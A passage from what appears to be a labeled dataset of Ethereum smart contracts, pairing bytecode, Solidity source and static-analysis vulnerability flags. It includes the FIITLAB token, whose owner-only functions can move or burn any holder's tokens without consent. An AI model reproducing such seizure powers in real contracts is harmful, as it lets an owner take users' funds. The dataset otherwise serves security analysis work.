e487b7160e01b600052604160045260246000fd5b6000602080838503121561178457600080fd5b823567ffffffffffffffff8082111561179c57600080fd5b818501915085601f8301126117b057600080fd5b8135818111156117c2576117c261175b565b8060051b604051601f19603f830116810181811085821117156117e7576117e761175b565b60405291825284820192508381018501918883111561180557600080fd5b938501935b8285101561182a5761181b85611696565b8452938501939285019261180a565b98975050505050505050565b60006020828403121561184857600080fd5b5035919050565b6000806040838503121561186257600080fd5b823561186d81611681565b9150602083013561187d81611681565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156118cf57600080fd5b8151610b5e81611681565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611918576119186118f0565b5060010190565b60008060006060848603121561193457600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561195f57600080fd5b8151610b5e81611730565b60008282101561197c5761197c6118f0565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119d15784516001600160a01b0316835293830193918301916001016119ac565b50506001600160a01b03969096166060850152505050608001529392505050565b6000816000190483118215151615611a0c57611a0c6118f0565b500290565b600082611a2e57634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115611a4657611a466118f0565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208cf4c5d0834d3d5f566f78d21fa1b4b5ae81efe1243617acbef7c7ae35d7470864736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
10,082
0xab7edc2dc46ef2cbf862e54d693bda69b8097c74
pragma solidity ^0.4.24; library SafeMath { function mul(uint256 _a, uint256 _b) internal pure returns (uint256) { if (_a == 0) { return 0; } uint256 c = _a * _b; require(c / _a == _b); return c; } function div(uint256 _a, uint256 _b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(_b > 0); uint256 c = _a / _b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b <= _a); return _a - _b; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 _a, uint256 _b) internal pure returns (uint256) { uint256 c = _a + _b; require(c >= _a); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } /* * Ownable * * Base contract with an owner. * Provides onlyOwner modifier, which prevents function from running if it is called by anyone other than the owner. */ contract Ownable { address public owner; address public newOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public { owner = msg.sender; newOwner = address(0); } // allows execution by the owner only modifier onlyOwner() { require(msg.sender == owner); _; } modifier onlyNewOwner() { require(msg.sender != address(0)); require(msg.sender == newOwner); _; } /** @dev allows transferring the contract ownership the new owner still needs to accept the transfer can only be called by the contract owner @param _newOwner new contract owner */ function transferOwnership(address _newOwner) public onlyOwner { require(_newOwner != address(0)); newOwner = _newOwner; } /** @dev used by a new owner to accept an ownership transfer */ function acceptOwnership() public onlyNewOwner { emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /* ERC20 Token interface */ contract ERC20 { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function allowance(address owner, address spender) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); function sendwithgas(address _from, address _to, uint256 _value, uint256 _fee) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); } interface TokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } contract FIITLAB is ERC20, Ownable { using SafeMath for uint256; string public name; string public symbol; uint8 public decimals; uint256 internal initialSupply; uint256 internal totalSupply_; mapping(address => uint256) internal balances; mapping(address => bool) public frozen; mapping(address => mapping(address => uint256)) internal allowed; event Burn(address indexed owner, uint256 value); event Freeze(address indexed holder); event Unfreeze(address indexed holder); modifier notFrozen(address _holder) { require(!frozen[_holder]); _; } constructor() public { name = "FIITLAB"; symbol = "FIIT"; decimals = 18; initialSupply = 1000000000 * (10 ** uint256(decimals)); totalSupply_ = 1000000000 * (10 ** uint256(decimals)); balances[owner] = totalSupply_; emit Transfer(address(0), owner, totalSupply_); } function () public payable { revert(); } /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Transfer token for a specified addresses * @param _from The address to transfer from. * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function _transfer(address _from, address _to, uint _value) internal { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public notFrozen(msg.sender) returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _holder The address to query the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _holder) public view returns (uint256 balance) { return balances[_holder]; } /** * ERC20 Token Transfer */ function sendwithgas(address _from, address _to, uint256 _value, uint256 _fee) public onlyOwner notFrozen(_from) returns (bool) { uint256 _total; _total = _value.add(_fee); require(!frozen[_from]); require(_to != address(0)); require(_total <= balances[_from]); balances[msg.sender] = balances[msg.sender].add(_fee); balances[_from] = balances[_from].sub(_total); balances[_to] = balances[_to].add(_value); emit Transfer(_from, _to, _value); emit Transfer(_from, msg.sender, _fee); return true; } /** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public notFrozen(_from) returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); _transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to _spender the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an _holder allowed to a spender. * @param _holder address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _holder, address _spender) public view returns (uint256) { return allowed[_holder][_spender]; } /** * Freeze Account. */ function freezeAccount(address _holder) public onlyOwner returns (bool) { require(!frozen[_holder]); frozen[_holder] = true; emit Freeze(_holder); return true; } /** * Unfreeze Account. */ function unfreezeAccount(address _holder) public onlyOwner returns (bool) { require(frozen[_holder]); frozen[_holder] = false; emit Unfreeze(_holder); return true; } /** * Token Burn. */ function burn(uint256 _value) public onlyOwner returns (bool) { require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(burner, _value); return true; } function burn_address(address _target) public onlyOwner returns (bool){ require(_target != address(0)); uint256 _targetValue = balances[_target]; balances[_target] = 0; totalSupply_ = totalSupply_.sub(_targetValue); address burner = msg.sender; emit Burn(burner, _targetValue); return true; } /** * @dev Internal function to determine if an address is a contract * @param addr The address being queried * @return True if `_addr` is a contract */ function isContract(address addr) internal view returns (bool) { uint size; assembly{size := extcodesize(addr)} return size > 0; } }
0x608060405260043610610107576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461010c578063095ea7b31461019c57806318160ddd1461020157806323b872dd1461022c578063313ce567146102b157806342966c68146102e2578063614552991461032757806370a08231146103b6578063788649ea1461040d57806379ba5097146104685780637e5f16c81461047f5780638da5cb5b146104da57806395d89b4114610531578063a9059cbb146105c1578063d051665014610626578063d4ee1d9014610681578063dd62ed3e146106d8578063f26c159f1461074f578063f2fde38b146107aa575b600080fd5b34801561011857600080fd5b506101216107ed565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610161578082015181840152602081019050610146565b50505050905090810190601f16801561018e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101a857600080fd5b506101e7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061088b565b604051808215151515815260200191505060405180910390f35b34801561020d57600080fd5b5061021661097d565b6040518082815260200191505060405180910390f35b34801561023857600080fd5b50610297600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610987565b604051808215151515815260200191505060405180910390f35b3480156102bd57600080fd5b506102c6610b0f565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102ee57600080fd5b5061030d60048036038101908080359060200190929190505050610b22565b604051808215151515815260200191505060405180910390f35b34801561033357600080fd5b5061039c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190505050610cd9565b604051808215151515815260200191505060405180910390f35b3480156103c257600080fd5b506103f7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611120565b6040518082815260200191505060405180910390f35b34801561041957600080fd5b5061044e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611169565b604051808215151515815260200191505060405180910390f35b34801561047457600080fd5b5061047d6112c2565b005b34801561048b57600080fd5b506104c0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061145b565b604051808215151515815260200191505060405180910390f35b3480156104e657600080fd5b506104ef6115f5565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561053d57600080fd5b5061054661161a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561058657808201518184015260208101905061056b565b50505050905090810190601f1680156105b35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156105cd57600080fd5b5061060c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506116b8565b604051808215151515815260200191505060405180910390f35b34801561063257600080fd5b50610667600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611938565b604051808215151515815260200191505060405180910390f35b34801561068d57600080fd5b50610696611958565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106e457600080fd5b50610739600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061197e565b6040518082815260200191505060405180910390f35b34801561075b57600080fd5b50610790600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a05565b604051808215151515815260200191505060405180910390f35b3480156107b657600080fd5b506107eb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b5f565b005b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108835780601f1061085857610100808354040283529160200191610883565b820191906000526020600020905b81548152906001019060200180831161086657829003601f168201915b505050505081565b600081600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600654905090565b600083600860008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156109e357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515610a1f57600080fd5b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548311151515610a6d57600080fd5b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548311151515610af857600080fd5b610b03858585611c3a565b60019150509392505050565b600460009054906101000a900460ff1681565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b8057600080fd5b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548311151515610bce57600080fd5b339050610c2383600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ff290919063ffffffff16565b600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c7b83600654611ff290919063ffffffff16565b6006819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5846040518082815260200191505060405180910390a26001915050919050565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d3757600080fd5b85600860008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610d9157600080fd5b610da4848661200e90919063ffffffff16565b9150600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610dff57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614151515610e3b57600080fd5b600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610e8957600080fd5b610edb84600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461200e90919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f7082600760008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ff290919063ffffffff16565b600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061100585600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461200e90919063ffffffff16565b600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a33373ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3600192505050949350505050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111c657600080fd5b600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561121e57600080fd5b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167fca5069937e68fd197927055037f59d7c90bf75ac104e6e375539ef480c3ad6ee60405160405180910390a260019050919050565b600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515156112fe57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561135a57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156114bb57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141515156114f757600080fd5b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205491506000600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061159382600654611ff290919063ffffffff16565b6006819055503390508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600192505050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156116b05780601f10611685576101008083540402835291602001916116b0565b820191906000526020600020905b81548152906001019060200180831161169357829003601f168201915b505050505081565b600033600860008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561171457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415151561175057600080fd5b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054831115151561179e57600080fd5b6117f083600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ff290919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061188583600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461200e90919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191505092915050565b60086020528060005260406000206000915054906101000a900460ff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a6257600080fd5b600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515611abb57600080fd5b6001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167faf85b60d26151edd11443b704d424da6c43d0468f2235ebae3d1904dbc32304960405160405180910390a260019050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611bba57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611bf657600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515611c7657600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548111151515611cc457600080fd5b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548111151515611d4f57600080fd5b611da181600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ff290919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e3681600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461200e90919063ffffffff16565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f0881600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ff290919063ffffffff16565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600082821115151561200357600080fd5b818303905092915050565b600080828401905083811015151561202557600080fd5b80915050929150505600a165627a7a72305820393c9b306ef1d8f95f124f6821e66b06156ea956a8160b5d5b23e12853a71b700029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
10,083
0x85f71034bb75500a90ee9878d9fa66f9feaca225
// SPDX-License-Identifier: MIT pragma solidity =0.7.6; pragma experimental ABIEncoderV2; contract DSMath { function add(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x + y) >= x, ""); } function sub(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x - y) <= x, ""); } function mul(uint256 x, uint256 y) internal pure returns (uint256 z) { require(y == 0 || (z = x * y) / y == x, ""); } function div(uint256 x, uint256 y) internal pure returns (uint256 z) { return x / y; } function min(uint256 x, uint256 y) internal pure returns (uint256 z) { return x <= y ? x : y; } function max(uint256 x, uint256 y) internal pure returns (uint256 z) { return x >= y ? x : y; } function imin(int256 x, int256 y) internal pure returns (int256 z) { return x <= y ? x : y; } function imax(int256 x, int256 y) internal pure returns (int256 z) { return x >= y ? x : y; } uint256 constant WAD = 10**18; uint256 constant RAY = 10**27; function wmul(uint256 x, uint256 y) internal pure returns (uint256 z) { z = add(mul(x, y), WAD / 2) / WAD; } function rmul(uint256 x, uint256 y) internal pure returns (uint256 z) { z = add(mul(x, y), RAY / 2) / RAY; } function wdiv(uint256 x, uint256 y) internal pure returns (uint256 z) { z = add(mul(x, WAD), y / 2) / y; } function rdiv(uint256 x, uint256 y) internal pure returns (uint256 z) { z = add(mul(x, RAY), y / 2) / y; } // This famous algorithm is called "exponentiation by squaring" // and calculates x^n with x as fixed-point and n as regular unsigned. // // It's O(log n), instead of O(n) for naive repeated multiplication. // // These facts are why it works: // // If n is even, then x^n = (x^2)^(n/2). // If n is odd, then x^n = x * x^(n-1), // and applying the equation for even x gives // x^n = x * (x^2)^((n-1) / 2). // // Also, EVM division is flooring and // floor[(n-1) / 2] = floor[n / 2]. // function rpow(uint256 x, uint256 n) internal pure returns (uint256 z) { z = n % 2 != 0 ? x : RAY; for (n /= 2; n != 0; n /= 2) { x = rmul(x, x); if (n % 2 != 0) { z = rmul(z, x); } } } } interface IERC20 { function totalSupply() external view returns (uint256 supply); function balanceOf(address _owner) external view returns (uint256 balance); function transfer(address _to, uint256 _value) external returns (bool success); function transferFrom( address _from, address _to, uint256 _value ) external returns (bool success); function approve(address _spender, uint256 _value) external returns (bool success); function allowance(address _owner, address _spender) external view returns (uint256 remaining); function decimals() external view returns (uint256 digits); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue( address target, bytes memory data, uint256 weiValue, string memory errorMessage ) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{value: weiValue}(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn( token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value) ); } /// @dev Edited so it always first approves 0 and then the value, because of non standard tokens function safeApprove( IERC20 token, address spender, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, 0)); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn( token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance) ); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 